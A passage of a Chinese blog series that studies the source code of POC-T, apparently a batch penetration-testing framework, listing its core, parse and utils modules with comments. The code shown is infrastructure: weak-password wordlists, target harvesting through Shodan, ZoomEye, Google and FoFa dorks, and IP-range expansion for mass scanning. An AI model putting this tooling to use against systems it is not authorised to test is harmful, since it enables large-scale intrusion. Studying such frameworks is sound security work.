POC-T框架学习————7、相关脚本深入学习三

本节续前面的第6节继续分析源代码:

core子目录————项目的核心

POC-T框架学习————7、相关脚本深入学习三_第1张图片

1、__init__.py(初始化)

POC-T框架学习————7、相关脚本深入学习三_第2张图片

2、common.py(公共函数脚本)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]

import os
import re
import sys
import time
import logging
import webbrowser
from lib.core.data import *
from lib.core.exception import *
from lib.core.log import LOGGER_HANDLER
from lib.core.settings import BANNER, UNICODE_ENCODING, NULL, INVALID_UNICODE_CHAR_FORMAT
from lib.core.convert import stdoutencode
from lib.core.enums import EXIT_STATUS, ENGINE_MODE_STATUS
from thirdparty.termcolor.termcolor import colored
from thirdparty.odict.odict import OrderedDict

#设置项目的路径
def setPaths():
    """
    Sets absolute paths for project directories and files
    """
    root_path = paths.ROOT_PATH
    paths.DATA_PATH = os.path.join(root_path, "data")
    paths.SCRIPT_PATH = os.path.join(root_path, "script")
    paths.OUTPUT_PATH = os.path.join(root_path, "output")
    paths.CONFIG_PATH = os.path.join(root_path, "toolkit.conf")
    if not os.path.exists(paths.SCRIPT_PATH):
        os.mkdir(paths.SCRIPT_PATH)
    if not os.path.exists(paths.OUTPUT_PATH):
        os.mkdir(paths.OUTPUT_PATH)
    if not os.path.exists(paths.DATA_PATH):
        os.mkdir(paths.DATA_PATH)

    paths.WEAK_PASS = os.path.join(paths.DATA_PATH, "pass100.txt")
    paths.LARGE_WEAK_PASS = os.path.join(paths.DATA_PATH, "pass1000.txt")
    paths.UA_LIST_PATH = os.path.join(paths.DATA_PATH, "user-agents.txt")

    if os.path.isfile(paths.CONFIG_PATH) and os.path.isfile(paths.WEAK_PASS) and os.path.isfile(
            paths.LARGE_WEAK_PASS) and os.path.isfile(paths.UA_LIST_PATH):
        pass
    else:
        msg = 'Some files missing, it may cause an issue.\n'
        msg += 'Please use \'--update\' to get the complete program from github.com.'
        raise ToolkitMissingPrivileges(msg)

#检查文件是否存在以及文件权限(读写权限)
def checkFile(filename):
    """
    function Checks for file existence and readability
    """
    valid = True

    if filename is None or not os.path.isfile(filename):
        valid = False

    if valid:
        try:
            with open(filename, "rb"):
                pass
        except IOError:
            valid = False

    if not valid:
        raise ToolkitSystemException("unable to read file '%s'" % filename)

#banner信息
def banner():
    """
    Function prints banner with its version
    """
    _ = BANNER
    if not getattr(LOGGER_HANDLER, "is_tty", False):
        _ = re.sub("\033.+?m", "", _)
    dataToStdout(_)

#输出流
def dataToStdout(data, bold=False):
    """
    Writes text to the stdout (console) stream
    """
    if conf.SCREEN_OUTPUT:
        if conf.ENGINE is ENGINE_MODE_STATUS.THREAD:
            logging._acquireLock()

        if isinstance(data, unicode):
            message = stdoutencode(data)
        else:
            message = data

        sys.stdout.write(setColor(message, bold))

        try:
            sys.stdout.flush()
        except IOError:
            pass

        if conf.ENGINE is ENGINE_MODE_STATUS.THREAD:
            logging._releaseLock()
    return

#颜色设置
def setColor(message, bold=False):
    retVal = message

    if message and getattr(LOGGER_HANDLER, "is_tty", False):  # colorizing handler
        if bold:
            retVal = colored(message, color=None, on_color=None, attrs=("bold",))

    return retVal

#进程
def pollProcess(process, suppress_errors=False):
    """
    Checks for process status (prints > if still running)
    """

    while True:
        message = '>'
        sys.stdout.write(message)
        try:
            sys.stdout.flush()
        except IOError:
            pass

        time.sleep(1)

        returncode = process.poll()

        if returncode is not None:
            if not suppress_errors:
                if returncode == 0:
                    print " done\n"
                elif returncode < 0:
                    print " process terminated by signal %d\n" % returncode
                elif returncode > 0:
                    print " quit unexpectedly with return code %d\n" % returncode
            break


def getSafeExString(ex, encoding=None):
    """
    Safe way how to get the proper exception represtation as a string
    (Note: errors to be avoided: 1) "%s" % Exception(u'\u0161') and 2) "%s" % str(Exception(u'\u0161'))
    """
    retVal = ex

    if getattr(ex, "message", None):
        retVal = ex.message
    elif getattr(ex, "msg", None):
        retVal = ex.msg

    return getUnicode(retVal, encoding=encoding)


def getUnicode(value, encoding=None, noneToNull=False):
    """
    Return the unicode representation of the supplied value:

    >>> getUnicode(u'test')
    u'test'
    >>> getUnicode('test')
    u'test'
    >>> getUnicode(1)
    u'1'
    """

    if noneToNull and value is None:
        return NULL

    if isListLike(value):
        value = list(getUnicode(_, encoding, noneToNull) for _ in value)
        return value

    if isinstance(value, unicode):
        return value
    elif isinstance(value, basestring):
        while True:
            try:
                return unicode(value, encoding or UNICODE_ENCODING)
            except UnicodeDecodeError, ex:
                try:
                    return unicode(value, UNICODE_ENCODING)
                except Exception:
                    value = value[:ex.start] + "".join(
                        INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
    else:
        try:
            return unicode(value)
        except UnicodeDecodeError:
            return unicode(str(value), errors="ignore")  # encoding ignored for non-basestring instances


def isListLike(value):
    """
    Returns True if the given value is a list-like instance

    >>> isListLike([1, 2, 3])
    True
    >>> isListLike(u'2')
    False
    """

    return isinstance(value, (list, tuple, set))

#系统退出
def systemQuit(status=EXIT_STATUS.SYSETM_EXIT):
    if status == EXIT_STATUS.SYSETM_EXIT:
        logger.info('System exit.')
    elif status == EXIT_STATUS.USER_QUIT:
        logger.error('User quit!')
    elif status == EXIT_STATUS.ERROR_EXIT:
        logger.error('System exit.')
    else:
        raise ToolkitValueException('Invalid status code: %s' % str(status))
    sys.exit(0)

#获取文件的内容
def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, unique=False):
    """
    @function returns newline delimited items contained inside file
    """

    retVal = list() if not unique else OrderedDict()

    checkFile(filename)

    try:
        with open(filename, 'r') as f:
            for line in (f.readlines() if unicode_ else f.xreadlines()):
                # xreadlines doesn't return unicode strings when codecs.open() is used
                if commentPrefix and line.find(commentPrefix) != -1:
                    line = line[:line.find(commentPrefix)]

                line = line.strip()

                if not unicode_:
                    try:
                        line = str.encode(line)
                    except UnicodeDecodeError:
                        continue

                if line:
                    if lowercase:
                        line = line.lower()

                    if unique and line in retVal:
                        continue

                    if unique:
                        retVal[line] = True

                    else:
                        retVal.append(line)

    except (IOError, OSError, MemoryError), ex:
        errMsg = "something went wrong while trying "
        errMsg += "to read the content of file '%s' ('%s')" % (filename, ex)
        raise ToolkitSystemException(errMsg)

    return retVal if not unique else retVal.keys()

#使用浏览器打开
def openBrowser():
    path = conf.OUTPUT_FILE_PATH
    try:
        webbrowser.open_new_tab(path)
    except Exception:
        errMsg = '\n[ERROR] Fail to open file with web browser: %s' % path
        raise ToolkitSystemException(errMsg)

3、convert.py(输出编码)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]

import sys
from lib.core.settings import IS_WIN, UNICODE_ENCODING


def singleTimeWarnMessage(message):  # Cross-linked function
    sys.stdout.write(message)
    sys.stdout.write("\n")
    sys.stdout.flush()

#对输出内容进行Unicode编码处理
def stdoutencode(data):
    retVal = None

    try:
        data = data or ""

        # Reference: http://bugs.python.org/issue1602
        if IS_WIN:
            output = data.encode(sys.stdout.encoding, "replace")

            if '?' in output and '?' not in data:
                warnMsg = "cannot properly display Unicode characters "
                warnMsg += "inside Windows OS command prompt "
                warnMsg += "(http://bugs.python.org/issue1602). All "
                warnMsg += "unhandled occurances will result in "
                warnMsg += "replacement with '?' character. Please, find "
                warnMsg += "proper character representation inside "
                warnMsg += "corresponding output files. "
                singleTimeWarnMessage(warnMsg)

            retVal = output
        else:
            retVal = data.encode(sys.stdout.encoding)
    except Exception:
        retVal = data.encode(UNICODE_ENCODING) if isinstance(data, unicode) else data

    return retVal

4、data.py

POC-T框架学习————7、相关脚本深入学习三_第3张图片

5、datatype.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]

import copy
import types
from lib.core.exception import ToolkitDataException


class AttribDict(dict):
    """
    This class defines the project object, inheriting from Python data
    type dictionary.

    >>> foo = AttribDict()
    >>> foo.bar = 1
    >>> foo.bar
    1
    """

    def __init__(self, indict=None, attribute=None):
        if indict is None:
            indict = {}

        # Set any attributes here - before initialisation
        # these remain as normal attributes
        self.attribute = attribute
        dict.__init__(self, indict)
        self.__initialised = True

        # After initialisation, setting attributes
        # is the same as setting an item

    def __getattr__(self, item):
        """
        Maps values to attributes
        Only called if there *is NOT* an attribute with this name
        """

        try:
            return self.__getitem__(item)
        except KeyError:
            raise ToolkitDataException("unable to access item '%s'" % item)

    def __setattr__(self, item, value):
        """
        Maps attributes to values
        Only if we are initialised
        """

        # This test allows attributes to be set in the __init__ method
        if "_AttribDict__initialised" not in self.__dict__:
            return dict.__setattr__(self, item, value)

        # Any normal attributes are handled normally
        elif item in self.__dict__:
            dict.__setattr__(self, item, value)

        else:
            self.__setitem__(item, value)

    def __getstate__(self):
        return self.__dict__

    def __setstate__(self, dict):
        self.__dict__ = dict

    def __deepcopy__(self, memo):
        retVal = self.__class__()
        memo[id(self)] = retVal

        for attr in dir(self):
            if not attr.startswith('_'):
                value = getattr(self, attr)
                if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)):
                    setattr(retVal, attr, copy.deepcopy(value, memo))

        for key, value in self.items():
            retVal.__setitem__(key, copy.deepcopy(value, memo))

        return retVal

6、enums.py

POC-T框架学习————7、相关脚本深入学习三_第4张图片

7、exception(异常)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]

class ToolkitBaseException(Exception):
    pass


class ToolkitConnectionException(Exception):
    pass


class ToolkitDataException(ToolkitBaseException):
    pass


class ToolkitMissingPrivileges(ToolkitBaseException):
    pass


class ToolkitUserQuitException(ToolkitBaseException):
    pass


class ToolkitSystemException(ToolkitBaseException):
    pass


class ToolkitValueException(ToolkitBaseException):
    pass


class ToolkitPluginException(ToolkitBaseException):
    pass


class RegisterException(Exception):
    pass


class RegisterValueException(RegisterException):
    pass


class RegisterDataException(RegisterException):
    pass


class RegisterMutexException(RegisterException):
    pass

8、log.py(日志:成功、提示、警告、错误)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]

import logging
import sys

from lib.core.enums import CUSTOM_LOGGING

logging.addLevelName(CUSTOM_LOGGING.SYSINFO, "*")
logging.addLevelName(CUSTOM_LOGGING.SUCCESS, "+")
logging.addLevelName(CUSTOM_LOGGING.ERROR, "-")
logging.addLevelName(CUSTOM_LOGGING.WARNING, "!")

LOGGER = logging.getLogger("TookitLogger")

LOGGER_HANDLER = None
try:
    from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler

    try:
        LOGGER_HANDLER = ColorizingStreamHandler(sys.stdout)
        LOGGER_HANDLER.level_map[logging.getLevelName("*")] = (None, "cyan", False)
        LOGGER_HANDLER.level_map[logging.getLevelName("+")] = (None, "green", False)
        LOGGER_HANDLER.level_map[logging.getLevelName("-")] = (None, "red", False)
        LOGGER_HANDLER.level_map[logging.getLevelName("!")] = (None, "yellow", False)
    except Exception:
        LOGGER_HANDLER = logging.StreamHandler(sys.stdout)

except ImportError:
    LOGGER_HANDLER = logging.StreamHandler(sys.stdout)

FORMATTER = logging.Formatter("\r[%(levelname)s] %(message)s", "%H:%M:%S")

LOGGER_HANDLER.setFormatter(FORMATTER)
LOGGER.addHandler(LOGGER_HANDLER)
LOGGER.setLevel(CUSTOM_LOGGING.WARNING)


class MY_LOGGER:
    @staticmethod
    def success(msg):
        return LOGGER.log(CUSTOM_LOGGING.SUCCESS, msg)

    @staticmethod
    def info(msg):
        return LOGGER.log(CUSTOM_LOGGING.SYSINFO, msg)

    @staticmethod
    def warning(msg):
        return LOGGER.log(CUSTOM_LOGGING.WARNING, msg)

    @staticmethod
    def error(msg):
        return LOGGER.log(CUSTOM_LOGGING.ERROR, msg)

9、option.py(参数选项解析)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]

import os
import glob
import time
import sys
from lib.core.data import conf, paths, th, logger
from lib.core.enums import TARGET_MODE_STATUS, ENGINE_MODE_STATUS
from lib.utils.update import update
from lib.core.enums import API_MODE_NAME
from lib.core.register import Register

#初始化选项
def initOptions(args):
    checkUpdate(args)                
    checkShow(args)                   
    EngineRegister(args)
    ScriptRegister(args)
    TargetRegister(args)
    ApiRegister(args)
    Output(args)
    Misc(args)

#检查框架的更新
def checkUpdate(args):
    if args.sys_update:
        update()

#初始化信息显示
def checkShow(args):
    show_scripts = args.show_scripts
    if show_scripts:
        module_name_list = glob.glob(os.path.join(paths.SCRIPT_PATH, '*.py'))
        msg = 'Script Name (total:%s)\n' % str(len(module_name_list) - 1)
        for each in module_name_list:
            _str = os.path.splitext(os.path.split(each)[1])[0]
            if _str not in ['__init__']:
                msg += '  %s\n' % _str
        sys.exit(logger.info(msg))

#线程与进程初始化
def EngineRegister(args):
    thread_status = args.engine_thread   #线程
    gevent_status = args.engine_gevent   #协程
    thread_num = args.thread_num         #线程数

    def __thread():
        conf.ENGINE = ENGINE_MODE_STATUS.THREAD

    def __gevent():
        conf.ENGINE = ENGINE_MODE_STATUS.GEVENT

    conf.ENGINE = ENGINE_MODE_STATUS.THREAD  # default choice

    msg = 'Use [-eT] to set Multi-Threaded mode or [-eG] to set Coroutine mode.'
    r = Register(mutex=True, start=0, stop=1, mutex_errmsg=msg)
    r.add(__thread, thread_status)
    r.add(__gevent, gevent_status)
    r.run()

    if 0 < thread_num < 101:
        th.THREADS_NUM = conf.THREADS_NUM = thread_num
    else:
        msg = 'Invalid input in [-t], range: 1 to 100'
        sys.exit(logger.error(msg))

#脚本选项初始化
def ScriptRegister(args):
    input_path = args.script_name

    # handle input: nothing
    if not input_path:
        msg = 'Use -s to load script. Example: [-s spider] or [-s ./script/spider.py]'
        sys.exit(logger.error(msg))

    # handle input: "-s ./script/spider.py"
    if os.path.split(input_path)[0]:
        if os.path.exists(input_path):
            if os.path.isfile(input_path):
                if input_path.endswith('.py'):
                    conf.MODULE_NAME = os.path.split(input_path)[-1]
                    conf.MODULE_FILE_PATH = os.path.abspath(input_path)
                else:
                    msg = '[%s] not a Python file. Example: [-s spider] or [-s ./script/spider.py]' % input_path
                    sys.exit(logger.error(msg))
            else:
                msg = '[%s] not a file. Example: [-s spider] or [-s ./script/spider.py]' % input_path
                sys.exit(logger.error(msg))
        else:
            msg = '[%s] not found. Example: [-s spider] or [-s ./script/spider.py]' % input_path
            sys.exit(logger.error(msg))

    # handle input: "-s spider"  "-s spider.py"
    else:
        if not input_path.endswith('.py'):
            input_path += '.py'
        _path = os.path.abspath(os.path.join(paths.SCRIPT_PATH, input_path))
        if os.path.isfile(_path):
            conf.MODULE_NAME = input_path
            conf.MODULE_FILE_PATH = os.path.abspath(_path)
        else:
            msg = 'Script [%s] not exist. Use [--show] to view all available script in ./script/' % input_path
            sys.exit(logger.error(msg))

#目标选项初始化
def TargetRegister(args):
    input_file = args.target_file
    input_single = args.target_single
    input_network = args.target_network
    input_array = args.target_array
    api_zoomeye = args.zoomeye_dork
    api_shodan = args.shodan_dork
    api_google = args.google_dork
    api_fofa = args.fofa_dork

    def __file():
        if not os.path.isfile(input_file):
            msg = 'TargetFile not found: %s' % input_file
            sys.exit(logger.error(msg))
        conf.TARGET_MODE = TARGET_MODE_STATUS.FILE
        conf.INPUT_FILE_PATH = input_file

    def __array():
        help_str = "Invalid input in [-iA], Example: -iA 1-100"
        try:
            _int = input_array.strip().split('-')
            if int(_int[0]) < int(_int[1]):
                if int(_int[1]) - int(_int[0]) > 1000000:
                    warnMsg = "Loading %d targets, Maybe it's too much, continue? [y/N]" % (
                        int(_int[1]) - int(_int[0]))
                    logger.warning(warnMsg)
                    a = raw_input()
                    if a in ('Y', 'y', 'yes'):
                        pass
                    else:
                        msg = 'User quit!'
                        sys.exit(logger.error(msg))
            else:
                sys.exit(logger.error(help_str))
        except Exception:
            sys.exit(logger.error(help_str))
        conf.TARGET_MODE = TARGET_MODE_STATUS.RANGE
        conf.I_NUM2 = input_array
        conf.INPUT_FILE_PATH = None
    #选项参数解析
    def __network():
        conf.TARGET_MODE = TARGET_MODE_STATUS.IPMASK
        conf.NETWORK_STR = input_network
        conf.INPUT_FILE_PATH = None

    def __single():
        conf.TARGET_MODE = TARGET_MODE_STATUS.SINGLE
        conf.SINGLE_TARGET_STR = input_single
        th.THREADS_NUM = conf.THREADS_NUM = 1
        conf.INPUT_FILE_PATH = None

    def __zoomeye():
        conf.TARGET_MODE = TARGET_MODE_STATUS.API
        conf.API_MODE = API_MODE_NAME.ZOOMEYE
        conf.API_DORK = api_zoomeye

    def __shodan():
        conf.TARGET_MODE = TARGET_MODE_STATUS.API
        conf.API_MODE = API_MODE_NAME.SHODAN
        conf.API_DORK = api_shodan

    def __google():
        conf.TARGET_MODE = TARGET_MODE_STATUS.API
        conf.API_MODE = API_MODE_NAME.GOOGLE
        conf.API_DORK = api_google

    def __fofa():
        conf.TARGET_MODE = TARGET_MODE_STATUS.API
        conf.API_MODE = API_MODE_NAME.FOFA
        conf.API_DORK = api_fofa

    msg = 'Please load targets with [-iS|-iA|-iF|-iN] or use API with [-aZ|-aS|-aG|-aF]'
    r = Register(mutex=True, mutex_errmsg=msg)
    r.add(__file, input_file)
    r.add(__network, input_network)
    r.add(__array, input_array)
    r.add(__single, input_single)
    r.add(__zoomeye, api_zoomeye)
    r.add(__shodan, api_shodan)
    r.add(__google, api_google)
    r.add(__fofa, api_fofa)
    r.run()

#api选项初始化
def ApiRegister(args):
    search_type = args.search_type
    offset = args.api_offset
    google_proxy = args.google_proxy
    api_limit = args.api_limit

    if not 'API_MODE' in conf:
        return

    if not conf.API_DORK:
        msg = 'Empty API dork, show usage with [-h]'
        sys.exit(logger.error(msg))

    if offset < 0:
        msg = 'Invalid value in [--offset], show usage with [-h]'
        sys.exit(logger.error(msg))
    else:
        conf.API_OFFSET = offset

    # handle typeError in cmdline.py
    if api_limit <= 0:
        msg = 'Invalid value in [--limit], show usage with [-h]'
        sys.exit(logger.error(msg))
    else:
        conf.API_LIMIT = api_limit

    if conf.API_MODE is API_MODE_NAME.ZOOMEYE:
        if search_type not in ['web', 'host']:
            msg = 'Invalid value in [--search-type], show usage with [-h]'
            sys.exit(logger.error(msg))
        else:
            conf.ZOOMEYE_SEARCH_TYPE = search_type

    elif conf.API_MODE is API_MODE_NAME.GOOGLE:
        conf.GOOGLE_PROXY = google_proxy

#输出
def Output(args):
    output_file = args.output_path
    file_status = args.output_file_status
    screen_status = args.output_screen_status
    browser = args.open_browser

    if not file_status and output_file:
        msg = 'Cannot use [-oF] and [-o] together, please read the usage with [-h].'
        sys.exit(logger.error(msg))

    if not file_status and browser:
        msg = '[--browser] is based on file output, please remove [-oF] in your command and try again.'
        sys.exit(logger.error(msg))

    conf.SCREEN_OUTPUT = screen_status
    conf.FILE_OUTPUT = file_status
    conf.OUTPUT_FILE_PATH = os.path.abspath(output_file) if output_file else \
        os.path.abspath(
            os.path.join(
                paths.OUTPUT_PATH, time.strftime(
                    '[%Y%m%d-%H%M%S]', time.localtime(
                        time.time())) + conf.MODULE_NAME + '.txt'))


def Misc(args):
    conf.SINGLE_MODE = args.single_mode
    conf.OPEN_BROWSER = args.open_browser

10、register.py(用于注册互斥的参数并给出错误提示)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]

"""
用于注册互斥的参数并给出错误提示

Register()
 start         最少通过量
 stop          最大通过量
 mutex         互斥开关
 mutex_errmsg  错误提示

add()
 perform       目标函数
 trigger       触发条件
 args          参数传入
 kwargs        参数传入

Usage:
 r = Register()
 r.add(function1,1>1)
 r.add(function2,2>1)
 r.add(function3,3>1)
 r.run()

"""

import types
import sys
from lib.core.data import logger
from lib.core.exception import RegisterDataException, RegisterMutexException, RegisterValueException


class Register:
    def __init__(self, start=1, stop=1, mutex_errmsg=None, mutex=True):
        self.targets = []
        self.mutex = mutex
        self.start = start
        self.stop = stop
        self.mutex_errmsg = mutex_errmsg
        self.verified = []

    def enable_mutex(self):
        self.mutex = True

    def set_mutex_errmsg(self, s):
        self.mutex_errmsg = str(s)

    def add(self, perform, trigger, args=(), kwargs=None):
        if kwargs is None:
            kwargs = {}
        d = {'perform': perform, 'args': args, 'kwargs': kwargs, 'trigger': trigger}
        self.targets.append(d)
        self.__args = args
        self.__kwargs = kwargs

    def run(self):
        self.__pretreat()
        for target in self.verified:
            if not target.get('perform'):
                msg = 'Register has no verified target'
                raise RegisterDataException(msg)
            target.get('perform')(*target.get('args'), **target.get('kwargs'))

    def __pretreat(self):
        self.__input_vector_check()
        for __target in self.targets:
            __trigger = __target.get('trigger')
            if type(__trigger) is types.BooleanType or type(__trigger) is types.StringType:
                if __trigger:
                    self.verified.append(__target)
            else:
                msg = '[Trigger Type Error] Expected:boolean,found:' + str(type(__trigger))
                raise RegisterValueException(msg)
        self.__mutex_check()

    def __mutex_check(self):
        if self.mutex:
            if len(self.verified) < self.start or len(self.verified) > self.stop:
                if self.mutex_errmsg is None:
                    raise RegisterMutexException('mutex error,verified func count: ' + str(len(self.verified)))
                else:
                    sys.exit(logger.error(self.mutex_errmsg))

    def __input_vector_check(self):
        if type(self.stop) is types.IntType and type(self.start) is types.IntType and type(
                self.mutex) is types.BooleanType:
            pass
        else:
            raise RegisterValueException('Register init func type error')
        if len(self.targets) is 0:
            msg = 'no target'
            raise RegisterDataException(msg)
        if self.start > self.stop:
            msg = 'start > stop'
            raise RegisterDataException(msg)

11、revision.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]

import os
import re

from subprocess import PIPE
from subprocess import Popen as execute

def getRevisionNumber():
    """
    Returns abbreviated commit hash number as retrieved with "git rev-parse --short HEAD"
    """

    retVal = None
    filePath = None
    _ = os.path.dirname(__file__)

    while True:
        filePath = os.path.join(_, ".git", "HEAD")
        if os.path.exists(filePath):
            break
        else:
            filePath = None
            if _ == os.path.dirname(_):
                break
            else:
                _ = os.path.dirname(_)

    while True:
        if filePath and os.path.isfile(filePath):
            with open(filePath, "r") as f:
                content = f.read()
                filePath = None
                if content.startswith("ref: "):
                    filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip()
                else:
                    match = re.match(r"(?i)[0-9a-f]{32}", content)
                    retVal = match.group(0) if match else None
                    break
        else:
            break

    if not retVal:
        process = execute("git rev-parse --verify HEAD", shell=True, stdout=PIPE, stderr=PIPE)
        stdout, _ = process.communicate()
        match = re.search(r"(?i)[0-9a-f]{32}", stdout or "")
        retVal = match.group(0) if match else None

    return retVal[:7] if retVal else None

12、settings.py(设置)

POC-T框架学习————7、相关脚本深入学习三_第5张图片

parse子目录

POC-T框架学习————7、相关脚本深入学习三_第6张图片

1、__init__.py

POC-T框架学习————7、相关脚本深入学习三_第7张图片

2、cmdline.py(命令行中参数选项说明)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]

import argparse
import sys
from lib.core.settings import VERSION


def cmdLineParser():
    parser = argparse.ArgumentParser(description='powered by cdxy  ',
                                     usage='python POC-T.py -s bingc -aZ "port:8080"',
                                     add_help=False)

    engine = parser.add_argument_group('ENGINE')
    engine.add_argument('-eT', dest="engine_thread", default=False, action='store_true',
                        help='Multi-Threaded engine (default choice)')

    engine.add_argument('-eG', dest="engine_gevent", default=False, action='store_true',
                        help='Gevent engine (single-threaded with asynchronous)')

    engine.add_argument('-t', metavar='NUM', dest="thread_num", type=int, default=10,
                        help='num of threads/concurrent, 10 by default')

    script = parser.add_argument_group('SCRIPT')

    script.add_argument('-s', metavar='NAME', dest="script_name", type=str, default='',
                        help='load script by name (-s jboss-rce) or path (-s ./script/jboss.py)')

    target = parser.add_argument_group('TARGET')

    target.add_argument('-iS', metavar='TARGET', dest="target_single", type=str, default='',
                        help="scan a single target (e.g. www.wooyun.org)")
    target.add_argument('-iF', metavar='FILE', dest="target_file", type=str, default='',
                        help='load targets from targetFile (e.g. ./data/wooyun_domain)')
    target.add_argument('-iA', metavar='START-END', dest="target_array", type=str, default='',
                        help='generate array from int(start) to int(end) (e.g. 1-100)')
    target.add_argument('-iN', metavar='IP/MASK', dest="target_network", type=str, default='',
                        help='generate IP from IP/MASK. (e.g. 127.0.0.0/24)')

    api = parser.add_argument_group('API')
    api.add_argument('-aZ', '--zoomeye', metavar='DORK', dest="zoomeye_dork", type=str, default='',
                     help='ZoomEye dork (e.g. "zabbix port:8080")')
    api.add_argument('-aS', '--shodan', metavar='DORK', dest="shodan_dork", type=str, default='',
                     help='Shodan dork.')
    api.add_argument('-aG', '--google', metavar='DORK', dest="google_dork", type=str, default='',
                     help='Google dork (e.g. "inurl:admin.php")')
    api.add_argument('-aF', '--fofa', metavar='DORK', dest="fofa_dork", type=str, default='',
                     help='FoFa dork (e.g. "banner=users && protocol=ftp")')
    api.add_argument('--limit', metavar='NUM', dest="api_limit", type=int, default=10,
                     help='Maximum searching results (default:10)')
    api.add_argument('--offset', metavar='OFFSET', dest="api_offset", type=int, default=0,
                     help="Search offset to begin getting results from (default:0)")
    api.add_argument('--search-type', metavar='TYPE', dest="search_type", action="store", default='host',
                     help="[ZoomEye] search type used in ZoomEye API, web or host (default:host)")
    api.add_argument('--gproxy', metavar='PROXY', dest="google_proxy", action="store", default=None,
                     help="[Google] Use proxy for Google (e.g. \"sock5 127.0.0.1 7070\" or \"http 127.0.0.1 1894\"")

    output = parser.add_argument_group('OUTPUT')

    output.add_argument('-o', metavar='FILE', dest="output_path", type=str, default='',
                        help='output file path&name. default in ./output/')
    output.add_argument('-oF', '--no-file', dest="output_file_status", default=True, action='store_false',
                        help='disable file output')
    output.add_argument('-oS', '--no-screen', dest="output_screen_status", default=True, action='store_false',
                        help='disable screen output')

    misc = parser.add_argument_group('MISC')

    misc.add_argument('--single', dest="single_mode", default=False, action='store_true',
                      help='exit after finding the first victim/password.')
    misc.add_argument('--show', dest="show_scripts", default=False, action='store_true',
                      help='show available script names in ./script/ and exit')
    misc.add_argument('--browser', dest="open_browser", default=False, action='store_true',
                      help='Open notepad or web browser to view report after task finished.')

    system = parser.add_argument_group('SYSTEM')

    system.add_argument('-v', '--version', action='version', version=VERSION,
                        help="show program's version number and exit")
    system.add_argument('-h', '--help', action='help',
                        help='show this help message and exit')
    system.add_argument('--update', dest="sys_update", default=False, action='store_true',
                        help='update POC-T from github source')

    if len(sys.argv) == 1:
        sys.argv.append('-h')
    args = parser.parse_args()
    return args

utils子目录

POC-T框架学习————7、相关脚本深入学习三_第8张图片

1、__init__.py

POC-T框架学习————7、相关脚本深入学习三_第9张图片

2、config.py(配置:各个平台API的认证参数)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]

import ConfigParser
from lib.core.data import paths, logger
from lib.core.common import getSafeExString


class ConfigFileParser:
    @staticmethod
    def _get_option(section, option):
        try:
            cf = ConfigParser.ConfigParser()
            cf.read(paths.CONFIG_PATH)
            return cf.get(section=section, option=option)
        except ConfigParser.NoOptionError, e:
            logger.warning('Missing essential options, please check your config-file.')
            logger.error(getSafeExString(e))
            return ''

    def ZoomEyeEmail(self):
        return self._get_option('zoomeye', 'email')

    def ZoomEyePassword(self):
        return self._get_option('zoomeye', 'password')

    def ShodanApikey(self):
        return self._get_option('shodan', 'api_key')

    def BingApikey(self):
        return self._get_option('bing', 'api_key')

    def CloudEyeApikey(self):
        return self._get_option('cloudeye', 'api_key')

    def ColudEyePersonaldomain(self):
        return self._get_option('cloudeye', 'personal_domain')

    def GoogleProxy(self):
        return self._get_option('google', 'proxy')

    def GoogleDeveloperKey(self):
        return self._get_option('google', 'developer_key')

    def GoogleEngine(self):
        return self._get_option('google', 'search_engine')

    def FofaEmail(self):
        return self._get_option('fofa','email')

    def FofaKey(self):
        return self._get_option('fofa','api_key')

3、console.py(终端配置:分linux和window两类)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]

"""
getTerminalSize()
 - get width and height of console
 - works on linux,os x,windows,cygwin(windows)
"""

import os

__all__ = ['getTerminalSize']


def getTerminalSize():
    import platform
    current_os = platform.system()
    tuple_xy = None
    if current_os == 'Windows':
        tuple_xy = _getTerminalSize_windows()
        if tuple_xy is None:
            tuple_xy = _getTerminalSize_tput()
            # needed for window's python in cygwin's xterm!
    if current_os == 'Linux' or current_os == 'Darwin' or current_os.startswith('CYGWIN'):
        tuple_xy = _getTerminalSize_linux()
    if tuple_xy is None:
        print "default"
        tuple_xy = (80, 25)  # default value
    return tuple_xy


def _getTerminalSize_windows():
    res = None
    try:
        from ctypes import windll, create_string_buffer

        # stdin handle is -10
        # stdout handle is -11
        # stderr handle is -12

        h = windll.kernel32.GetStdHandle(-12)
        csbi = create_string_buffer(22)
        res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi)
    except Exception:
        return None
    if res:
        import struct
        (bufx, bufy, curx, cury, wattr,
         left, top, right, bottom, maxx, maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw)
        sizex = right - left + 1
        sizey = bottom - top + 1
        return sizex, sizey
    else:
        return None


def _getTerminalSize_tput():
    # get terminal width
    # src: http://stackoverflow.com/questions/263890/how-do-i-find-the-width-height-of-a-terminal-window
    try:
        import subprocess
        proc = subprocess.Popen(["tput", "cols"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
        output = proc.communicate(input=None)
        cols = int(output[0])
        proc = subprocess.Popen(["tput", "lines"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
        output = proc.communicate(input=None)
        rows = int(output[0])
        return (cols, rows)
    except Exception:
        return None


def _getTerminalSize_linux():
